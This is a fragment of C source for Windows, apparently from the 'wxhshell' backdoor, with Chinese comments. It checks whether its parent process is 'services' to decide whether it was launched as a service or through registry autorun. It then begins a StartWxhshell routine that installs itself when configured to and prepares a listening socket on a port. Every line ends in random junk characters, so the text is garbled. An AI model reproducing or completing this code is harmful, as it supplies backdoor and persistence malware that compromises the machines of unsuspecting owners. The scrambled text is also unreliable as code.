ULONG InheritedFromUniqueProcessId; %_SE$>v^
} PROCESS_BASIC_INFORMATION; Yjk A^e
(DKpJCx
PROCNTQSIP NtQueryInformationProcess; HNjkRl)QR
T*h+"TmE
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >cMU<'&
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S^D ~A8u
_W#27I
HANDLE hProcess; 05pCgI}F>
PROCESS_BASIC_INFORMATION pbi; Z@C
D1+ G
s9`T% pg
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NK#Dq&W+&
if(NULL == hInst ) return 0; [EGE|
$X*$,CCIB
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Bdbw!zRR$
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JBUJc
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "
31C8
FT(EH
if (!NtQueryInformationProcess) return 0; V`fh,(:
PL+fLCk,I
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ={L:q8v)
if(!hProcess) return 0; ,CM$A}7[
Ha
C?,
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l3iL.?&Pa
053W2Si
CloseHandle(hProcess); H#Og0gEE}5
m_Fw;s/9
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dEe/\i'r9
if(hProcess==NULL) return 0; eIqj7UY_
DD3J2J
HMODULE hMod; w@%W{aUC
char procName[255]; ;:$Na=
unsigned long cbNeeded; ":-)mfgGU
qo.
6T
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p-(Z[G*
/{kyjf[o&*
CloseHandle(hProcess); *=|i"
^~`8 - TE
if(strstr(procName,"services")) return 1; // 以服务启动 P^h2w%6'
7L-%5:1%
return 0; // 注册表启动 x6)
} [Z5x_.k"I
+.lO8
// 主模块 M $~h(3
int StartWxhshell(LPSTR lpCmdLine) f1~3y}7^Jq
{ iPFYG
SOCKET wsl; BEI/OGp
BOOL val=TRUE; #JLDj(a?
int port=0; 9C4l@jrF
struct sockaddr_in door; r
2
lP9I\Ge&
if(wscfg.ws_autoins) Install(); VhW;=y>}
ka>RAr J
port=atoi(lpCmdLine); KT g$^"\
/p%K[)T(
if(port<=0) port=wscfg.ws_port; ~hxB Pn."
q]r!5&Z